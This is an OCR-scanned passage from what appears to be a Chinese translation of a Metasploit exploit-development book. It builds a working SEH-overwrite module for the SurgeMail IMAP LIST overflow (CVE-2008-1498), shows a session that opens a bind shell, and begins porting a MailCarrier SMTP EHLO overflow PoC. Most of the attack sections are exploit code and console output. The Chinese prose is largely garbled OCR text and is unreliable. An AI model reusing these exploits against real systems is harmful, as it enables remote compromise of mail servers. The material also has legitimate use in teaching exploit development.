HAEH RN TR EE SEH 25, v URIHTE/opt/metasploit3/msf3/tools/B 12 T I
pattern_offset.rb FEFFRFHH HEEREMME, REERRENFHFS (684E3368) FK
B FRHHEKE (11000) 1525454 pattern_offset BLATLA T, WFF7R:

root@bt:~/.msf3/modules/auxiliary/fuzzers# /opt/metasploit3/msf3/tools/pattern_offset.rb
684E3368 11000
10360

RIS R 10,360 Xonf i T SEH (VU F1 4 BRTE 10,361-10,364 {18, IAERMIATLL
B 5 — RS Fuzz MR 2810400, RBIFRIH AN .

print_status("Generating fuzzed data...")
fuzzed = "\x41" * 10360 fuzzed << "\x42" * 4 fuzzed << "\x43" * 636
print_status{"Sending fuzzed data, buffer length = %d" % fuzzed.length)

AT LA B, Fuzz WABEGIE H—NEEIEK, 10,360 NFERF A4 (HN#EHIE 41) TR,
BATR 4 NTFATRFERF B (/NI 42) kB & SEH, RJ5 & 636 1NFFF C (7 ikHlE 43)
SR FE LR E 7 FF R KRR & 11,000 F5,

sl B REEHLEAT Fuzz MiR4%, W0 14-4 8K, ¥ SEH # D& RELTIRERZ
7T

“ Immunity Debugger - surgemail.exe - [CPU - thread 00000838, module surgemai]
File Wiew Debug Plugins Immlb Options Window Help Jobs

LA (W]

M 14-4 5E£#4%] SEH
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit 7% A 18 &

14.3 %%id SEH IR

#F SEH HWIB & N 25, EAREKRTHE R BT TIR/M 2 (8] K B E Shellcode. HHHI T,
112/ —41 POP-POP-RETN 154 K123 F—4 SEH & (NSEH), RJF#Eid —MabkiE 4
(short jump) HEA %Y Shellcode . WATERE T HAIBFEAIIN, Hf 50 RiX A2 8] AN R i,
MNTT Ay B 22 0 U AT S R ml B K2 ]« ZEXEHR, BRATEL 7R T XA Fuzz Wil
IEFE, R B h BATTR B X AN T IT R 32 B LR B B .

XAMBE L RO T HEME A egg hunter B SE R Ah R ATHOAT, BT —/NEE
() shellcode M P 77Eep TR EIE MBCHBAT A (AR, ALK BRAE I —F A 1) 4 M A S0 2
#i, BL POP-POP-RETN #5484 kKB % SEH, B#EZ/E, BRIMN&SM— M AEERDIHSHME
JakaBk¥s (short jump), BT SRERA I M F 5 Bk TR HR B 1 42 1) SR BAT — BN — Bt NOP
T84 shellcode HILHEF: (near jump). BIARANRLFTH, HE—B NOP ZIE4AEH XK
BFENE R RGN, BT USRI E A h S X AL BRI M — B R A RS
6], MiX%e NOP 154 A aFHRIVBE PSS RAT AT FH W, BfHE e B . BAKRT,
XK R R R W

[—BAERE AR b X HHFEINOP %5541 1T [X|Shellcode| T Bk ¥ | & Bk #|POP-POP-RETN]

A T RAEBIBCSEA R A Windows RS0l A3 FH 5, Bf1m] LU 2R DLL
BRATHAT X P RIE AL TEXANERP, RANARFERTRAT R AT AR, BT EUR
Al LA surgemail.exe SCAE 2R3k A POP-POP-RETN 64 7%k B i SEH, XFEH)iEE
FEAFG R AT LUE A T AR K Windows REERAT .

FRNTERLER'S SurgeMail FRIFEHSEFRBERE, THRERNIRS 7ERANEE LRI
VIR BB, {RFFE{E/root/. msf3/ modules/exploits/windows/imap/H 3 .

require 'msf/core’

class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Imap

def initialize(info = {})
super{update_info(info,
'Name' => 'Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow',
'Description’ => %q{
This module exploits a stack overflow in the Surgemail IMAP Server
version 3.8k4-4 by sending an overly long LIST command. Valid IMAP
account credentials are required.

)

' Author’ => [ 'ryujin' ],
'License’ => MSF_LICENSE,
‘Version' => '$Revision: 1 §',

204

24 W WwW. 176K u.CoM



T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

H14E GIRIRECKBIBERTRR

'References’ =
[
[ 'BID', '28260' ],
[ "CVE', '2008-1498' ],
[ 'URL', '"http://www.exploit-db.com/exploits/5259' ],

1s
"Privileged’ => false,
‘DefaultOptions’ =»
{
"EXITFUNC' => 'thread’,
b,
‘Payload’ =>
0 'Space’ => 10351,
'DisableNops’ => true,
"BadChars’ => "\x00"
b
‘Platform’ => ‘win’,
‘Targets' =>
(

®©[ 'Windows Universal', { 'Ret' => OxDEADBEEF } ], # p/p/r TBD
1

'DisclosureDate’ =»> 'March 13 2008',
"DefaultTarget’ => 0))
end

def exploit
®©connected = connect_login
®lead = "\x41" * 10360
@evil = lead + "\x43" * 4
print_status("Sending payload")
@sploit = '0002 LIST () "/' + evil + '" "PWNED"' + "\r\n"
@sock.put(sploit)
handler
disconnect
end

end

FEEAHY) ‘Space’ ORIEREW N shellcode TR LI I FFZE A K. XA A EB B L AL
ep RAEE EEM, FAEVE T Metasploit F BTk 8 47 A H T X N8 Bt s .
—EUHBRA TR TFEEL RN EE R, REREdEmRAEME. Bl
FEIAR/DMAZR K, MESMESHERY KENPOKE, MRAREEES M REGHBNITHER
FrEIR/AN, ATUUER info fr48R XA BATAIGRR, W T AR, PRATLLA Total size {8 48 13K
AT KN

msf > info payload/windows/shell_bind_tcp

Name: Windows Command Shell, Bind TCP Inline
Module: payload/windows/shell bind tcp
Version: 8642
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit &i% Wi 45 R

Platform: Windows
Arch: x86
Needs Admin: No
Total size: 341
Rank: Normal

£ Targets 15[ return_address@ I SR KL 2 — N & ALFF, FATVIG 7E 5 0 H9I2ZE AR TT
RIS R BEATE L

WFRTE Fuzz PRABERPITRH—F, IM2BENRMEETHEERNG R BLRE B RS
Lo, KB TH A RIMEAVBRENXO, REHM4ANTFHF CRE % SEHO, LB
BEBEAFIHO, BRIGRIZLHFREO.

14.4 FREUR[E Mk

T AETE surgemail exe M E N —> POP-POP-RETN 155 %, ¥Rna] DL XA — 13k i) #2
Fr 5 H2VRE Back|Track B{idifl b, #RJ5 8 msfpescan ZHEEFIFE0-p LETH R MFRSF PR H—
MEEREERLAE, W BT

root@bt:/tmp# msfpescan -p surgemail.exe

[surgemail.exe]

0x0042e947 pop esi; pop ebp; ret
0x0042188b pop esi; pop ebp; ret
0x00458e68 pop esi; pop ebp; ret
0x00458edb pop esi; pop ebp; ret
0x0046754d pop esi; pop ebp; ret
0x00467578 pop esi; pop ebp; ret
0x0046d204 pop eax; pop ebp; ret

. SNIP . . .
0x0078506e pop ebx; pop ebp; ret

0x00785105 pop ecx; pop ebx; ret
0%0078517e pop esi; pop ebx; ret

HYREMH msfpescan ot H bx — SIS #ATI RN, ERALIILEBIE S I RELERF &
Hirfa &M GXANREIH & POP-POP-RETN) R4 HuhE, MR PRATUEER, ©HRIIT
LAANR R BAVERR D RAER bk, LCBISH 0x0078517e, RIRTEZBRILH
% SEH. Hiik# /5, RANBBHAARRAMBE Target” 1T HHORE S IXAEH
Hofik, FHAE exploit 7 IIHE AMERNE X P, WTFHIR:
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

14 EF fIR{RACKBEIHIRIR

'Platform’ => 'win’',
'Targets' =>
[
©[ 'Windows Universal’, { ‘Ret’ => "\x7e\x51\x78" } ], # p/p/r in surgemail.exe
1

'DisclosureDate’ => 'March 13 2008°',
'DefaultTarget' => 0))
end

def exploit
connected = connect_login
lead = "\x41" * 10360
@cvil = lead + [target.ret].pack("A3")
print_status("Sending payload")
sploit = '0002 LIST ()} "/' + evil + '" "PWNED"' + "\r\n"

AT SEH #AT=AFHHE S, RIPEBIA Target” XHHEMNXORE K LUMEF
VR RORIR AL, RS rh AR BOREIIRRE . CEYTRF R BAR R CPU AR MK
RUFTHE Y, Intel AR CPU ALFR R FAMKFENFED .

B 1¥ evil FRFE P ZADFR C B K [target.ret].pack("A3")®, EHIE ‘Target” X
75 3 1 3 [P L RS W X B B AR R L SRR E RIE U =AY T B SR (B E U T,
R % BN A 2 7 O] H AR M BE GXASEBITP R 0x0078517¢), T Metasploit #§ £ 76 5 4 i
[target.ret].pack('V)I} E ST 7 1T IEHEHETF . XM GHRP, TEFMRERER, BX
BAVR KM — D27, Er BT A F R BN R, BB EREAMEEER THE.

AR PN AR TR E AR, RKWANEREERN T/ET . WRIFEFRS
ARG — E L S AR T b () S TR, MR R R W TR, REERE
SRR TWEBAKER A GER BB . W FETSER .

msf > use exploit/windows/imap/surgemail book

msf exploit(surgemail book) > set IMAPPASS test
IMAPPASS =»> test
msf exploit(surgemail book) > set IMAPUSER test
IMAPUSER => test
msf exploit(surgemail book) > set RHOST 192.168.1.155
RHOST =» 192.168.1.155
O msf exploit(surgemail book) > set PAYLOAD generic/debug_trap
PAYLOAD => generic/debug trap
msf exploit(surgemail book) > exploit

[*] Authenticating as test with password test...
[*] Sending payload

(*] Exploit completed, but no session was created.
msf exploit(surgemail book) >
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit 1% 73X 4 fa

BAMEH 2 AT R generic/debug trap®, X I AR —ANEIERBCEEMN, TRAREK
EH\CC (h¥fE4) |, RETBRERLEHELSPITHENHEER, XX FHeREBREBLL
it FE shellcode K- REH A B EFALE _LRIEHHRM. '

EBITIEE R &S5, 4TFF Immunity Debugger, WE 14-5 fToR, #0758 EEEE View >
SEH Chain R8I0, 3% T F2 @BE N4, QK5 SHIFT-FO A& 87 IR A N AR
FF3EHENB] POP-POP-RETN 154 175,

A, AT, 44 F7 ST RSV, 18 B IR UEATE NSEH haEAH
41414141 6% .

& 14-5 HAN POP-POP-RETN B4
WA, BB EARYORE & R T R E R ERENES, WTFHiR:

def exploit
connected = connect_login
Olead = "\x41" * 10356
®nseh = "\xeb\xf9\x90\x90"
evil = lead + nseh + [target.ret].pack("A3")
print_status("Sending payload")
sploit = '0002 LIST () "/" + evil + '" "PWNED"' + "\r\n"
sock.put(sploit)
handler
disconnect
end
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

F14E RIFECHBERHRR

TEREE REBE RN, —EBECHHEMEE MK KEO, 5N PR 55 H
fi 7. FERXANEGIH, NSEH 288 &M NAJE N7 REBHETE S (xebx\x901x90)
©, Mo eb MIEIBLE EAED. HOFHEP R KERIRES. 10356 74, FARAITE SEH
R Z RTIAN T 4 MER T,

HNUREFIZITEFERRG LRI R ZIREFIE S8, RBEANBERE A2 GiH—H#
41 CHREHIE 4) &, mPIAS INC ECX 64 NiZ e g mBkit i & It [ERRFHIITRE
Fb B BN S X .

MARMNESGEBERT, DEE - PMEBHEIRS T ((\xeSxddxd7\x\xfh), A [ )& Bk
HRVIRE X B ITEOE, Wk 14-6 RS K AR, BATTLLEBHA 4 FRWRK
b X EAE T RN, X ARAIN shellcode AL T EBLL 10,000 F3WH2FE. ST HH
shellcode “F-¥) P # (2 [a] A T E A B 500 P41, X4ABKWZ EESLREAJLF-Ia £
ft] shellcode.

* Immunity Debugger - surgemail.exe - [CPU - thread 00000818]
File WView Debug Plugins Immib Options Window Help Jobs

Bl 14-6 4 shellcode L HI A RN FZA)

BRAEAR BT B A 2SS R i \xd 1 4RI ZE P IR B el — 1 NOP (\x90) ZHR4-H1T
X, BEEAMIT, RIS/SH ) shellcode 3t ] LL5E 2254 Metasploit SRIBE T .

def exploit
connected = connect_login
@lead = "\x90" * (10351 - payload.encoded.length)
@near = "\xe9\xdd\xd7\xfF\xFf"
nseh = "\xeb\xf9\x90\x90"
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit &iE X5/

®evil = lead + payload.encoded + near + nseh + [target.ret].pack("A3")
print_status("Sending payload")
sploit = '0002 LIST () "/' + evil + "" "PWNED"' + "\r\n"
sock.put(sploit)
handler
disconnect
end

7E L AR, AR LU BT BAMER M B — KB 78 4 BV X EaBHRmRT
NOP %¥#5 4 F1 (i1 Metasploit 4= B shellcode® . i 828 ph X K JE M ST/ 10,356 747 F83] T
10,351 “F17, UL O. BJa, HHFTH BER T I RO KM H R4 ) “4f
ST ST

IAEBRATAT LUEFE — DN HIE MBS, RIFPITX MBI, REFERETH 4.
AR, BERHIEGHREHNREURHETESIE. BEARHEEROEERRSHHF K
TBEEAET, PEHEAH RN shell, &5FWFHFR:

msf exploit(surgemail book) > set payload windows/shell bind_tcp
payload => windows/shell bind_tcp

msf exploit(surgemail book) > exploit

[*] Started bind handler

[*] Authenticating as test with password test...
[*] Sending payload

[*] Exploit completed, but no session was created,
msf exploit(surgemail book) >

145 FFHFTIERBIIT

T, BRINMEBR T —MNEREPHAMER: BBMRLRLERT, HRFRETES
i, WMREITRRBHTRE, RERMEBFBRERZRHRB—RBRRET HAK?
DR B4 Lert R 4B R R PR, A RRA NS BN R FRHR 7, P, 54ER T
&7 MBHR PR F AR ELR HIERFGE, SEEEF RN HRmENBE. A
ft 2 S R X MR P &AL R I shellcode BEARMTHL, M ik AN BB R R K.

K, MR%GE—4 Metasploit BBECHIRES, (RLMEHINHFTERRMAERF, K
i Metasploit 7EHE1T 8 KB IB I B BT AE ) shellcode 7 257,  MATR MR FERH¥SK
KB EBFERGHEROTRGE. £2HER T, WRFERRERHFTEORER, BiENAHERF
BB AT shellcode 1N TR, (BRIEMEIMAIHI FH, SurgeMail HREH RS, &
BEHEREKE RN, ERIMHABERIZELEE.

WA FRHE RS, BIEESE~EN shellcode B — P HELFERF (HWIx00\
x01\x02... ) Br4RMER S, RGN A AR RE BRABRM TR, HRIEFIRIRER.
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

i

%

F148 Q)R8 CHEERTER

SR, BRI T B R MRS ECRS P R IR 4. BB, 8 IMAP PR L8
BEACES, BRI X000\ x0a\x0b\x0c\x0d\x20\x2c\x3a\x40\x 7b &BEEF H THERF, W FHR.

'Privileged’ => false,
‘DefaultOptions' =>
{
"EXITFUNC' => 'thread',
}s
"Payload’ =>
{
‘Space’ =» 10351,
'‘DisableNops’ => true,
'BadChars’ => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2c\x3a\x40\x7b"
b
'Platform’ => "win',
'Targets' =>

YRAE B BB AR YL 75 #'BadChars' 5, Metasploit % [ 84 & T 14EBR 7E Shellcode LA &
P s LRI TR B RS 54§ 2 5o

ERNFWAR TG, FHRIBITEERGEED, WTRHR, RAER ZKERPHEER
WA M RERE. EMNEEBRGRERRARE TR, BRERECERATUUTIEN, X
R Metasploit 4 IR 2 E K i i A3 242 B Shellcode, 1T FEURRIZAT KM —LL5% B
FIRFRF I A2 B H L.

msf exploit(surgemail book) > rexploit

[*] Started bind handler

[*] Authenticating as test with password test...
[*] Sending payload

[*] Exploit completed, but no session was created.
msf exploit(surgemail book) > rexploit

[*] Started bind handler

[*] Authenticating as test with password test...
[*] Sending payload

[*] Exploit completed, but no session was created.
msf exploit(surgemail book) > rexploit

[*] Started bind handler

[*] Authenticating as test with password test...

[*] Sending payload

[*] Command shell session 1 opened (192.168.1.101:59501 -> 192.168.1.155:4444)
(C) Copyright 1985-2001 Microsoft Corp.

c:\surgemail>
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit {£iEM X

FAT TR 18 52 LAt a0 5] 5% B I A FRFAE D — MENV B S . — MR E IR AE R F R
HERFTA R 7R 0 72 % http://en.wikibooks.org/wiki/Metasploit/ Writing Windows
Exploit#Dealing_with_badchars.

BAERAT5C RS EARS, BRI E AR AERBE B, W FFR:

require 'mst/core’

class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote: :Imap

def initialize(info = {})
super(update_info(info,
*Name' => 'Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow',
‘Description’ => %a{
This module exploits a stack overflow in the Surgemail IMAP Server
version 3.8k4-4 by sending an overly long LIST command. Valid IMAP
account credentials are required.
1
"Author’ > [ 'ryujin’ ],
‘License’ > MSF_LICENSE,
'Version' > '$Revision: 1 %',
‘References’ =

[ 'BID', '28260' ],
[ 'CVE', '2008-1498' ],
[ 'URL', ‘'http://www.exploit-db.com/exploits/5259" ],
B
'Privileged’ => false,
'DefaultOptions' =>
{

b
'Payload’ =>
{

"EXITFUNC' => 'thread',

'Space’ =» 10351,
‘DisableNops’ => true,
'BadChars' => "\x00\x09\x0a\x0b\x0c \x0d\x20\x2c\x3a\x40\x7b"
b
‘Platform’ => 'win’,
'Targets' =

(
1,

‘DisclosureDate’ => 'March 13 2008°',
‘DefaultTarget' => 0})

[ "Windows Universal', { 'Ret' => "\x7e\x51\x78" } ], # p/p/r in surgemail.exe
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BTt T ARUETAEE RN 2 S 2, AT AN 2 Ath F sk B 94T A4, 75 N 24 147 1) S B BUR R SRR B AT o z!xﬁg%lﬁﬁj\ﬁ*ﬂr
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

F14EF PRRESHBERTER

def exploit
connected = connect_login
lead = "\x90" * (10351 - payload.encoded.length)
near = "\xe9\xdd\xd7\xFF\xF"
nseh = "\xeb\xf9\x90\x90"
evil = lead + payload.encoded + near + nseh + [tarpet.ret].pack("A3")
print_status("Sending payload")
sploit = '0002 LIST () “/' + evil + '™ "PWNED"' + "\r\n"

sock.put(sploit)
handler
disconnect
end
end
14.6 /&

REFEXERNIFBA KL R, DR RAVE® T MRERET—/ Fuzz HRI%E
BG5S — A 0] F IS BB B e O AR . RO IE A S S (XA B B B R L 3 i 2
FIRFH M, FEHRUET MRIFHOES], iERA A BT LRI AR, B THRE
BT AR R SRR B AT L

PENEARF T % Metasploit 5T 77 1 2 3 Metasploit f¥5 AR 0 G A 3575 T o 8 Bt
B, XFERNA e ELFHBEAE Metasploit HEZE P BB 7 WFLe 5. AENFHEARTLLY
YRERAETF 4655 AN IT 5 Metasploit 13 Bk LB BT 06 04 48 B 6 i T L 55 77 v

W 15 Weh, WAVKHT AT LML, FFaa8A QS ILA 1018 5 AT B R
Metasploit HEARA S B, A THF 10 ARB0H 038 1 BB AR S3h AR, 382 JF el $KER B -
L9235 RS Fe #5 24 a] FH ) Metasploit 328 BB .
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BTt I AT ORM L% S 2 AT AR 2 A B B AT A 4%, 5 I 24 AT 1) SEBRABCR) N AR FHV R ST o DRIAR St 38 40 W o)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

&g oy 4

5 H.

Hi2ZENRUBEB Metasploit HESR

A1 2 8 ih ] LUk Bl — 2 B AR M AR [ i 2045 4 3) Metasploit #EZEH, MUY
B[R] 22 24 X A1 Metasploit #E32. FFAEFTA KIS B LHSHE B T Metasploit HE4LH), RE R
Bl Perl. Python. C/C++E5 TG .

24 AR BB IS A8 2 Metasploit HEAL TR R, IRFFEMIAMILMIZERS, 40 Python 5
Perl B2l A, #H N AESSLE Metasploit FF BB, R, TEIRK—MBENY
A Metasploit HE4EZ /5, Rt Al LAFI B Metasploit HEZR (K3 8 i X GRA K& Fh T2 AR AL#
ITHATS, B a LR X TAE e B B BGh AR MR . 55k, R A2 EARHE
W N e R M AT, AR R AR IR E I BRE RGURA, — BT T Metasploit HE52
H, BERBATR AT LShAS A, MARFEERER T UERE RS RPHTER T .

FEH AR RS DRI BB G E] Metasploit HEAR P HFFE, WRFHA
STIXEREARSHTH, FHESER LR IGAMAR, MEEEXENEINGKRZRE, K
B RE L T bk B 12 B EHUE Metasploit #E4E T .

24 W WwW. 176K u.CoM



BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit & i% i & B

156.1 L4%iEE &at

IR AHE WA TR E R MO, R ENCHRIE S AN TR . RAIEAR TR
ARRERCHESHAAGS, ERITREER LR BERNEMRSEL.

15.1.1 EIP #0 ESP F 1z

FIEBE CPU THIRGEMEER . BITHHE, CLEJSCE N AR iTr iR S H s e .
BEMEAVEERSTFAERE EIP (Extended Instruction Pointer) ¥ BIE4SI5H TS ESP
(Extended Stack Pointer) ¥ R85t F 725

EIP #F7F28 S VRN SRS ESBITZ R T — B4 NE. EEFEY, &,
¥ FHES & EIP R E AL, FREIR M BRATHAE shellcode. 7ERATHIZE M X 48 h B,
ESP FAZBATIERMMLY, RERRINMEREENAEFEIE S RNERIRS, A
SEURBMALE . ESP 17880 I S S N UE RATI - shellcode i) A7 k.

1512 JMPESHE

IMP $54 42 I kit B ESP N TAihb—2845 4. EEARTREHERA L X G
EHlF, BAISAEH IMP ESP 54 5 VFiH5HL £ 24 85F B shellcode ] ESP A 771k
HZHATHES .

15.1.3 ZFTHEMTHSHITE

—ANBIRA R TERAENENTES . TERZ AR LR KB, RIS R
SLEREE S A R PR R AL E . — A2 4 ol AR Bt S IR AL, A9RE RRES,
ANEHAEM SN, FiRS LSRR R R —Mx90.

FIAWATX R B — ALK E RS AR, HBEAIK shellcode KA “ Z2HHNX” K
AR, MIWAIERS N ARE T IMP ESP 4, BRIV R- SRS, FHM0F-Hhbtd
iXH5F 14 H 2 F)iX shellcode.

15.2 BHE—IEPXimd I HAS

BAN Hﬁ%~4‘%ﬁl%—+ﬁ_ﬂﬂﬁiﬁﬁi§# X % A, REE A jump ESP 4@ 0]
LL5E R 3 shellcode BIBkE: . X MEEMRMMALFRE “MailCarrier 2.51 SMTP EHLO/HELO £ 1!
X% B 7, {# A MailCarrier 2.51 SMTP fir &l &2 S P X #i H

8% 4R T L http://www.exploit-db.com/exploits/598/_E 3% 3| iX AN 415 X A5 e f5 12 i ) 49
Jol -
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

F15F KB BEREBEE Metasploit 52

{HIX & — N S Z 2B AR, Bk KRR Windows 2000 RGEM A R K. MSARIMIEZ 17X
BURRIR, A EBRETERIEHR T1E. 76 Metasploit fEZeh 4 - MBI L
LT XAWFIA, FSRET T —8k. e — R REE FREANENKKEZ G, R
A LURIIX 2B Bt R A shellcode 324 T 1000 45 IR =5 [6], i@ X K BEFR E A 4
M. (MRAFETHRUMERAOEEER, HREE hup//wwwexploit-db.com/download
_pdff 13535/ 8 L) “BERBESEEE -5 HEEL7. “UTEXN EBERNHOES
RAUFPEAH, HPRATELBER T shellcode, ¥4 jump B RS MU HHA T AAAA F5/FH.
(BB S RUEHEARES PoC, BABEEALEMRIEE URBIFRRA LR, BREE %
bR BB BT, IR RERZ B G I IE A T RS BEARE.)

#1/usr/bin/python

REBH R R R RS R R SR A B R R R R B
# MailCarrier 2.51 SMTP EHLO / HELO Buffer Overflow #
# Advanced, secure and easy to use Mail Server. #
# 23 Oct 2004 - muts #
HURHA AR AR R R R R R S B R

import struct
import socket

print “\n\n##HHEHHHHHE N R
print "\nMailCarrier 2.51 SMTP EHLO / HELO Buffer Overflow"
print "\nFound & coded by muts [at] whitehat.co.il"

print “\nfor Educational Purposes Only!\n"

print “\n\n##HRHHERIGHEB ARG R R R R

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = "\x41" * 5093
buffer += "\42" * 4
buffer += "\xg0" * 32
buffer += "\xcc" * 1000
try:

print "\nSending evil buffer...”
s.connect(('192.168.1.155",25))
s.send('EHLO " + buffer + '\r\n')
data = s.recv(1024)
s.close()
print "\nDone!"

except:
print "Could net connect to SMTP!"

R—ECLABE] T, HXA—BHLHISEFEBEE Metasploit -8 HMYPE R %k
BARMER T A DA R MEPEIT B R RAE T RMIX 48

© #$AE: B b IR A BT HI%: hp./bbs.pediy.com/showthread php?p=713035tpost71303 5 ),
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit %% i #& &5

15.2.1 HE—NER/WEEBHKED

YR RA T MailCarrier B EAUGHEE —, o —CH K Metasploit iBE B IR HLL
T#BY, e MNEBERRRE R, W

require 'msf/core’

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
@include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
"Name' => 'TABS MailCarrier v2.51 SMTP EHLO Overflow’,
‘Description’ =>» %q{
This module exploits the MailCarrier v2.51 suite SMTP service.
The stack is overwritten when sending an overly long EHLO command.

}s
'Author’ => [ 'Your Name' ],
'Arch’ => [ ARCH X86 ],
'License’ => MSF_LICENSE,
'Version' => "$Revision: 7724 §’,
'References’ =>
[
[ "CVE', "2004-1638" ],
[ 'OsvDB', '11174' ],
[ 'BID', '11535' ],
[ "URL", 'http://www.exploit-db.com/exploits/598' ],
L]
'Privileged’ => true,
'DefaultOptions’ =5
{
"EXITFUNC’ => 'thread',
b
‘Payload' =>
{
"Space’ => 300,
'BadChars’ => "\x00\x0Da\x0d\x3a",
'StackAdjustment' => -3500,
I
'Platform’ =» ['win'],
'Targets' =>
[
@®[ 'Windows XP SP2 - EN', { 'Ret' => Oxdeadbeef } ],
|

‘DisclesureDate’ => 'Oct 26 2004',
‘DefaultTarget’ => 0))

register_options(

[
©0pt: :RPORT(25),

Opt::LHOST(), # Required for stack offset
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

F15F REERDBBIET Metasploit HEZR

], self.class)
end

def exploit
connect

@sock.put(sploit + “\r\n")
handler
disconnect

end

end

P oA X AMB B R AT EINEL R, AR % Z 4 & Msf::Exploit::Remote::Tcp iX —
